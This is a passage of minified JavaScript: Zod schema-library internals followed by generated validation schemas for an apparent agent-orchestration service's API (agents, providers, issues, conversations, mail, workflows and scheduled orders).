this.check(Xw())}})}),K5=j("ZodString",(e,n)=>{Du.init(e,n),$v.init(e,n),e.email=o=>e.check(fw(G5,o)),e.url=o=>e.check(Rv(Lv,o)),e.jwt=o=>e.check(Pw(cE,o)),e.emoji=o=>e.check(yw(J5,o)),e.guid=o=>e.check(am(lm,o)),e.uuid=o=>e.check(mw(za,o)),e.uuidv4=o=>e.check(vw(za,o)),e.uuidv6=o=>e.check(hw(za,o)),e.uuidv7=o=>e.check(gw(za,o)),e.nanoid=o=>e.check(_w(Q5,o)),e.guid=o=>e.check(am(lm,o)),e.cuid=o=>e.check(ww(Y5,o)),e.cuid2=o=>e.check(Ew(X5,o)),e.ulid=o=>e.check(xw(eE,o)),e.base64=o=>e.check(Cw(sE,o)),e.base64url=o=>e.check(Rw(lE,o)),e.xid=o=>e.check(Iw(tE,o)),e.ksuid=o=>e.check(Sw(nE,o)),e.ipv4=o=>e.check(kw(rE,o)),e.ipv6=o=>e.check(bw(oE,o)),e.cidrv4=o=>e.check(zw(iE,o)),e.cidrv6=o=>e.check(Tw(aE,o)),e.e164=o=>e.check(Bw(uE,o)),e.datetime=o=>e.check(O(o)),e.date=o=>e.check(R5(o)),e.time=o=>e.check(P5(o)),e.duration=o=>e.check(A5(o))});function i(e){return pw(K5,e)}const Ve=j("ZodStringFormat",(e,n)=>{Me.init(e,n),$v.init(e,n)}),G5=j("ZodEmail",(e,n)=>{y8.init(e,n),Ve.init(e,n)}),lm=j("ZodGUID",(e,n)=>{h8.init(e,n),Ve.init(e,n)}),za=j("ZodUUID",(e,n)=>{g8.init(e,n),Ve.init(e,n)}),Lv=j("ZodURL",(e,n)=>{_8.init(e,n),Ve.init(e,n)});function um(e){return Rv(Lv,e)}const J5=j("ZodEmoji",(e,n)=>{w8.init(e,n),Ve.init(e,n)}),Q5=j("ZodNanoID",(e,n)=>{E8.init(e,n),Ve.init(e,n)}),Y5=j("ZodCUID",(e,n)=>{x8.init(e,n),Ve.init(e,n)}),X5=j("ZodCUID2",(e,n)=>{I8.init(e,n),Ve.init(e,n)}),eE=j("ZodULID",(e,n)=>{S8.init(e,n),Ve.init(e,n)}),tE=j("ZodXID",(e,n)=>{k8.init(e,n),Ve.init(e,n)}),nE=j("ZodKSUID",(e,n)=>{b8.init(e,n),Ve.init(e,n)}),rE=j("ZodIPv4",(e,n)=>{B8.init(e,n),Ve.init(e,n)}),oE=j("ZodIPv6",(e,n)=>{P8.init(e,n),Ve.init(e,n)}),iE=j("ZodCIDRv4",(e,n)=>{N8.init(e,n),Ve.init(e,n)}),aE=j("ZodCIDRv6",(e,n)=>{A8.init(e,n),Ve.init(e,n)}),sE=j("ZodBase64",(e,n)=>{O8.init(e,n),Ve.init(e,n)}),lE=j("ZodBase64URL",(e,n)=>{$8.init(e,n),Ve.init(e,n)}),uE=j("ZodE164",(e,n)=>{L8.init(e,n),Ve.init(e,n)}),cE=j("ZodJWT",(e,n)=>{M8.init(e,n),Ve.init(e,n)}),Dv=j("ZodNumber",(e,n)=>{kv.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(s,u,p)=>s5(e,s,u),li(e,"ZodNumber",{gt(s,u){return this.check(Oa(s,u))},gte(s,u){return this.check(Un(s,u))},min(s,u){return this.check(Un(s,u))},lt(s,u){return this.check(Aa(s,u))},lte(s,u){return this.check(Hr(s,u))},max(s,u){return this.check(Hr(s,u))},int(s){return this.check(Be(s))},safe(s){return this.check(Be(s))},positive(s){return this.check(Oa(0,s))},nonnegative(s){return this.check(Un(0,s))},negative(s){return this.check(Aa(0,s))},nonpositive(s){return this.check(Hr(0,s))},multipleOf(s,u){return this.check(uu(s,u))},step(s,u){return this.check(uu(s,u))},finite(){return this}});const o=e._zod.bag;e.minValue=Math.max(o.minimum??Number.NEGATIVE_INFINITY,o.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,e.maxValue=Math.min(o.maximum??Number.POSITIVE_INFINITY,o.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,e.isInt=(o.format??"").includes("int")||Number.isSafeInteger(o.multipleOf??.5),e.isFinite=!0,e.format=o.format??null});function pr(e){return $w(Dv,e)}const dE=j("ZodNumberFormat",(e,n)=>{F8.init(e,n),Dv.init(e,n)});function Be(e){return Lw(dE,e)}const pE=j("ZodBoolean",(e,n)=>{U8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>l5(e,o,s)});function Z(e){return Dw(pE,e)}const fE=j("ZodBigInt",(e,n)=>{Z8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(s,u,p)=>u5(e,s),e.gte=(s,u)=>e.check(Un(s,u)),e.min=(s,u)=>e.check(Un(s,u)),e.gt=(s,u)=>e.check(Oa(s,u)),e.gte=(s,u)=>e.check(Un(s,u)),e.min=(s,u)=>e.check(Un(s,u)),e.lt=(s,u)=>e.check(Aa(s,u)),e.lte=(s,u)=>e.check(Hr(s,u)),e.max=(s,u)=>e.check(Hr(s,u)),e.positive=s=>e.check(Oa(BigInt(0),s)),e.negative=s=>e.check(Aa(BigInt(0),s)),e.nonpositive=s=>e.check(Hr(BigInt(0),s)),e.nonnegative=s=>e.check(Un(BigInt(0),s)),e.multipleOf=(s,u)=>e.check(uu(s,u));const o=e._zod.bag;e.minValue=o.minimum??null,e.maxValue=o.maximum??null,e.format=o.format??null}),mE=j("ZodUnknown",(e,n)=>{q8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>d5()});function Kn(){return Fw(mE)}const vE=j("ZodNever",(e,n)=>{V8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>c5(e,o,s)});function Ka(e){return Uw(vE,e)}const hE=j("ZodArray",(e,n)=>{W8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>h5(e,o,s,u),e.element=n.element,li(e,"ZodArray",{min(o,s){return this.check(ja(o,s))},nonempty(o){return this.check(ja(1,o))},max(o,s){return this.check(Bv(o,s))},length(o,s){return this.check(Pv(o,s))},unwrap(){return this.element}})});function N(e,n){return e5(hE,e,n)}const gE=j("ZodObject",(e,n)=>{K8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>g5(e,o,s,u),ze(e,"shape",()=>n.shape),li(e,"ZodObject",{keyof(){return Jt(Object.keys(this._zod.def.shape))},catchall(o){return this.clone({...this._zod.def,catchall:o})},passthrough(){return this.clone({...this._zod.def,catchall:Kn()})},loose(){return this.clone({...this._zod.def,catchall:Kn()})},strict(){return this.clone({...this._zod.def,catchall:Ka()})},strip(){return this.clone({...this._zod.def,catchall:void 0})},extend(o){return d_(this,o)},safeExtend(o){return p_(this,o)},merge(o){return f_(this,o)},pick(o){return u_(this,o)},omit(o){return c_(this,o)},partial(...o){return m_(Uv,this,o[0])},required(...o){return v_(Zv,this,o[0])}})});function g(e,n){const o={type:"object",shape:e??{},...ie(n)};return new gE(o)}const Mv=j("ZodUnion",(e,n)=>{Tv.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>y5(e,o,s,u),e.options=n.options});function Qn(e,n){return new Mv({type:"union",options:e,...ie(n)})}const yE=j("ZodDiscriminatedUnion",(e,n)=>{Mv.init(e,n),G8.init(e,n)});function Fv(e,n,o){return new yE({type:"union",options:n,discriminator:e,...ie(o)})}const _E=j("ZodIntersection",(e,n)=>{J8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>_5(e,o,s,u)});function wE(e,n){return new _E({type:"intersection",left:e,right:n})}const cm=j("ZodRecord",(e,n)=>{Q8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>w5(e,o,s,u),e.keyType=n.keyType,e.valueType=n.valueType});function fe(e,n,o){return!n||!n._zod?new cm({type:"record",keyType:i(),valueType:e,...ie(n)}):new cm({type:"record",keyType:e,valueType:n,...ie(o)})}const cu=j("ZodEnum",(e,n)=>{Y8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(s,u,p)=>p5(e,s,u),e.enum=n.entries,e.options=Object.values(n.entries);const o=new Set(Object.keys(n.entries));e.extract=(s,u)=>{const p={};for(const d of s)if(o.has(d))p[d]=n.entries[d];else throw new Error(`Key ${d} not found in enum`);return new cu({...n,checks:[],...ie(u),entries:p})},e.exclude=(s,u)=>{const p={...n.entries};for(const d of s)if(o.has(d))delete p[d];else throw new Error(`Key ${d} not found in enum`);return new cu({...n,checks:[],...ie(u),entries:p})}});function Jt(e,n){const o=Array.isArray(e)?Object.fromEntries(e.map(s=>[s,s])):e;return new cu({type:"enum",entries:o,...ie(n)})}const EE=j("ZodLiteral",(e,n)=>{X8.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>f5(e,o,s),e.values=new Set(n.values),Object.defineProperty(e,"value",{get(){if(n.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return n.values[0]}})});function x(e,n){return new EE({type:"literal",values:Array.isArray(e)?e:[e],...ie(n)})}const xE=j("ZodTransform",(e,n)=>{ew.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>v5(e,o),e._zod.parse=(o,s)=>{if(s.direction==="backward")throw new cv(e.constructor.name);o.addIssue=p=>{if(typeof p=="string")o.issues.push(ai(p,o.value,n));else{const d=p;d.fatal&&(d.continue=!1),d.code??(d.code="custom"),d.input??(d.input=o.value),d.inst??(d.inst=e),o.issues.push(ai(d))}};const u=n.transform(o.value,o);return u instanceof Promise?u.then(p=>(o.value=p,o.fallback=!0,o)):(o.value=u,o.fallback=!0,o)}});function IE(e){return new xE({type:"transform",transform:e})}const Uv=j("ZodOptional",(e,n)=>{Cv.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>jv(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function dm(e){return new Uv({type:"optional",innerType:e})}const SE=j("ZodExactOptional",(e,n)=>{tw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>jv(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function kE(e){return new SE({type:"optional",innerType:e})}const bE=j("ZodNullable",(e,n)=>{nw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>E5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function pm(e){return new bE({type:"nullable",innerType:e})}const zE=j("ZodDefault",(e,n)=>{rw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>I5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType,e.removeDefault=e.unwrap});function TE(e,n){return new zE({type:"default",innerType:e,get defaultValue(){return typeof n=="function"?n():fv(n)}})}const CE=j("ZodPrefault",(e,n)=>{ow.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>S5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function RE(e,n){return new CE({type:"prefault",innerType:e,get defaultValue(){return typeof n=="function"?n():fv(n)}})}const Zv=j("ZodNonOptional",(e,n)=>{iw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>x5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function BE(e,n){return new Zv({type:"nonoptional",innerType:e,...ie(n)})}const PE=j("ZodCatch",(e,n)=>{aw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>k5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType,e.removeCatch=e.unwrap});function NE(e,n){return new PE({type:"catch",innerType:e,catchValue:typeof n=="function"?n:()=>n})}const AE=j("ZodPipe",(e,n)=>{sw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>b5(e,o,s,u),e.in=n.in,e.out=n.out});function fm(e,n){return new AE({type:"pipe",in:e,out:n})}const OE=j("ZodReadonly",(e,n)=>{lw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>z5(e,o,s,u),e.unwrap=()=>e._zod.def.innerType});function jE(e){return new OE({type:"readonly",innerType:e})}const $E=j("ZodCustom",(e,n)=>{uw.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(o,s,u)=>m5(e,o)});function LE(e,n={}){return t5($E,e,n)}function DE(e,n){return n5(e,n)}function E(e){return Mw(fE,e)}const ME=g({MaxMessageLength:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SupportsAttachments:Z(),SupportsChildConversations:Z()}),ui=g({account_id:i(),provider:i()});g({dir:i().optional(),name:i().min(1),provider:i().min(1),scope:i().optional()});g({agent:i(),status:i()});const FE=g({agent_id:i(),parent_tool_use_id:i()});g({dir:i().optional(),env:fe(i(),i()).optional(),name:i().optional(),scope:i().optional(),suspended:Z().optional(),tmux_alias:i().optional(),work_dir:i().optional()});g({agent:i(),bytes:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),prompt:i()});g({provider:i().optional(),scope:i().optional(),suspended:Z().optional()});g({provider:i().optional(),scope:i().optional(),suspended:Z().optional()});const UE=g({dir:i().optional(),is_pool:Z().optional(),name:i(),origin:i(),provider:i().optional(),scope:i().optional(),suspended:Z()}),ZE=g({acp_args:N(i()).optional(),acp_command:i().optional(),args:N(i()).nullish(),command:i().optional(),display_name:i().optional(),env:fe(i(),i()).optional(),origin:i(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});g({event_cursor:i(),request_id:i(),status:i()});g({event_cursor:i(),request_id:i()});g({assignee:i().optional()});g({reason:i().max(1024).optional()});g({assignee:i().optional(),description:i().optional(),labels:N(i()).nullish(),metadata:fe(i(),i()).optional(),parent:i().optional(),priority:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),rig:i().optional(),title:i().min(1),type:i().optional()});g({assignee:i().optional(),description:i().optional(),labels:N(i()).nullish(),metadata:fe(i(),i()).optional(),parent:i().nullish(),priority:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),remove_labels:N(i()).nullish(),status:i().optional(),title:i().optional(),type:i().optional()});const qE=Jt(["active","ended"]),Mu=g({conversation_id:i(),provider:i(),session_id:i()});g({bootstrap_profile:Jt(["k8s-cell","kubernetes","kubernetes-cell","single-host-compat"]).optional(),dir:i().min(1),provider:i().min(1).optional(),start_command:i().optional()});const Fu=g({name:i(),path:i(),request_id:i()});g({agent_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),name:i(),path:i(),provider:i().optional(),rig_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_template:i().optional(),suspended:Z(),uptime_sec:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:i().optional()});const VE=g({error:i().optional(),name:i(),path:i(),phases_completed:N(i()).nullish(),running:Z(),status:i().optional()}),ci=g({name:i(),path:i()});g({suspended:Z().optional()});const Uu=g({name:i(),path:i(),request_id:i()}),WE=g({dir:i().optional(),is_pool:Z().optional(),name:i(),provider:i().optional(),scope:i().optional(),suspended:Z()}),HE=g({agents:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),providers:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rigs:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({agents:N(UE).nullable(),patches:HE,providers:fe(i(),ZE)});const KE=g({agent_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),provider_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rig_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),GE=g({name:i(),path:i(),prefix:i().optional(),suspended:Z()});g({errors:N(i()).nullable(),valid:Z(),warnings:N(i()).nullable()});g({GroupID:i(),Handle:i(),ID:i(),Metadata:fe(i(),i()),Public:Z(),SessionID:i()});const JE=Jt(["dm","room","thread"]),Qt=g({account_id:i(),conversation_id:i(),kind:JE,parent_conversation_id:i().optional(),provider:i(),scope_id:i()});g({items:N(i()).nullish()});g({closed:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),complete:Z(),convoy_id:i(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({items:N(i()).nullish(),rig:i().optional(),title:i().min(1)});const QE=g({closed:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({items:N(i()).nullish()});const YE=g({BindingGeneration:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),Conversation:Qt,ID:i(),LastMessageID:i(),LastPublishedAt:O({offset:!0}),Metadata:fe(i(),i()),SchemaVersion:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SessionID:i(),SourceSessionID:i()}),XE=g({depends_on_id:i(),issue_id:i(),type:i()}),fr=g({assignee:i().optional(),created_at:O({offset:!0}),dependencies:N(XE).nullish(),description:i().optional(),ephemeral:Z().optional(),from:i().optional(),id:i(),issue_type:i(),labels:N(i()).nullish(),metadata:fe(i(),i()).optional(),needs:N(i()).nullish(),parent:i().optional(),priority:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullish(),ref:i().optional(),status:i(),title:i(),updated_at:O({offset:!0}).optional()});g({children:N(fr).nullable()});const hr=g({bead:fr});g({children:N(fr).nullish(),convoy:fr.optional(),progress:QE.optional()});const ex=g({location:i().optional(),message:i().optional(),value:Kn().optional()});g({detail:i().optional(),errors:N(ex).nullish(),instance:um().optional(),status:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),title:i().optional(),type:um().optional().default("about:blank")});g({status:i()});g({actor:i().min(1),message:i().optional(),subject:i().optional(),type:i().min(1)});const tx=g({seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),ts:O({offset:!0}),type:i()}),nx=g({compression_status:Jt(["pending","complete"]),first_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),last_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),path:i()});g({anchor_event:tx.optional(),archive:nx.optional(),reason:i().optional(),rotated:Z()});g({account_id:i().min(1),callback_url:i().optional(),capabilities:ME.optional(),name:i().optional(),provider:i().min(1)});g({account_id:i(),name:i(),provider:i(),status:i()});g({account_id:i().min(1),provider:i().min(1)});g({conversation:Qt.optional(),metadata:fe(i(),i()).optional(),session_id:i().min(1)});g({default_handle:i().optional(),metadata:fe(i(),i()).optional(),mode:i().optional(),root_conversation:Qt.optional()});g({conversation:Qt.optional(),idempotency_key:i().optional(),reply_to_message_id:i().optional(),session_id:i().min(1),text:i().optional()});g({group_id:i().min(1),handle:i().min(1)});g({group_id:i().min(1),handle:i().min(1),metadata:fe(i(),i()).optional(),public:Z().optional(),session_id:i().min(1)});g({conversation:Qt.optional(),sequence:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),session_id:i().min(1)});g({conversation:Qt.optional(),session_id:i().min(1)});const qv=g({display_name:i(),id:i(),is_bot:Z()}),Vv=g({mime_type:i(),provider_id:i(),url:i()}),Wv=g({actor:qv,attachments:N(Vv).nullish(),conversation:Qt,dedup_key:i().optional(),explicit_target:i().optional(),provider_message_id:i(),received_at:O({offset:!0}),reply_to_message_id:i().optional(),text:i()});g({account_id:i().optional(),message:Wv.optional(),payload:i().optional(),provider:i().optional()});const rx=g({account_id:i(),name:i(),provider:i()}),ox=g({AllowUntargetedPublication:Z(),Enabled:Z(),MaxPeerTriggeredPublishes:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),MaxTotalPeerDeliveries:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({DefaultHandle:i(),FanoutPolicy:ox,ID:i(),LastAddressedHandle:i(),Metadata:fe(i(),i()),Mode:i(),RootConversation:Qt,SchemaVersion:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({scope_kind:i().optional(),scope_ref:i().optional(),target:i().min(1),vars:fe(i(),i()).optional()});const Hv=g({from:i(),kind:i().optional(),to:i()}),ix=g({id:i(),kind:i(),scope_ref:i().optional(),title:i()}),ax=g({edges:N(Hv).nullable(),nodes:N(ix).nullable()}),Kv=g({started_at:i(),status:i(),target:i(),updated_at:i(),workflow_id:i()});g({formula:i(),partial:Z(),partial_errors:N(i()).nullish(),recent_runs:N(Kv).nullable(),run_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const sx=g({assignee:i().optional(),id:i(),kind:i(),labels:N(i()).nullish(),metadata:fe(i(),i()).optional(),title:i(),type:i().optional()}),Gv=g({default:Kn().optional(),description:i().optional(),enum:N(i()).nullish(),name:i(),pattern:i().optional(),required:Z().optional(),type:i()});g({deps:N(Hv).nullable(),description:i(),name:i(),preview:ax,steps:N(sx).nullable(),var_defs:N(Gv).nullable(),version:i()});const lx=g({description:i(),name:i(),recent_runs:N(Kv).nullable(),run_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),var_defs:N(Gv).nullable(),version:i()});g({items:N(lx).nullable(),partial:Z(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const ux=g({ahead:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),behind:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),branch:i(),changed_files:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),clean:Z()}),Zu=g({conversation_id:i(),mode:i(),provider:i()}),cx=g({Match:i(),TargetSessionID:i(),UpdateCursor:Z()});g({city:i().optional(),status:i(),uptime_sec:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:i().optional()});const ao=g({timestamp:i()}),qu=g({actor:i(),conversation_id:i(),provider:i(),target_session:i()});g({items:N(fr).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({items:N(rx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const dx=fe(i(),Ka());g({partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),unread:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({body:i().optional(),from:i().optional(),subject:i().optional()});g({body:i().optional(),from:i().optional(),rig:i().optional(),subject:i().min(1),to:i().min(1)});const Jv=g({body:i(),cc:N(i()).nullish(),created_at:O({offset:!0}),from:i(),id:i(),priority:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),read:Z(),reply_to:i().optional(),rig:i().optional(),subject:i(),thread_id:i().optional(),to:i()}),vt=g({message:Jv.optional(),rig:i()});g({items:N(Jv).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Qv=g({attached_bead_id:i().optional(),bead_id:i().optional(),detail_available:Z().optional(),id:i(),logical_bead_id:i().optional(),root_bead_id:i().optional(),root_store_ref:i().optional(),run_detail_available:Z().optional(),scope_kind:i(),scope_ref:i(),started_at:i(),status:i(),store_ref:i().optional(),target:i(),title:i(),type:i(),updated_at:i(),workflow_id:i().optional()});g({items:N(Qv).nullable(),partial:Z(),partial_errors:N(i()).nullish()});const ve=fe(i(),Ka());g({status:i()});g({id:i().optional(),status:i()});const px=g({label:i(),value:i()}),fx=g({due:Z(),last_run:i().optional(),last_run_outcome:i().optional(),name:i(),reason:i(),rig:i().optional(),scoped_name:i()});g({checks:N(fx).nullable()});g({bead_id:i(),created_at:i(),labels:N(i()).nullable(),output:i(),store_ref:i()});const mx=g({bead_id:i(),capture_output:Z(),created_at:i(),duration_ms:i().optional(),error:i().optional(),exit_code:i().optional(),has_output:Z(),labels:N(i()).nullable(),name:i(),rig:i().optional(),scoped_name:i(),signal:i().optional(),store_ref:i(),wisp_root_id:i().optional()});g({entries:N(mx).nullable()});const vx=g({capture_output:Z(),check:i().optional(),description:i().optional(),enabled:Z(),exec:i().optional(),formula:i().optional(),gate:i().optional(),interval:i().optional(),name:i(),on:i().optional(),pool:i().optional(),rig:i().optional(),schedule:i().optional(),scoped_name:i(),timeout:i().optional(),timeout_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),trigger:i().optional(),type:i()});g({orders:N(vx).nullable()});g({items:N(Qv).nullable(),partial:Z(),partial_errors:N(i()).nullish()});const 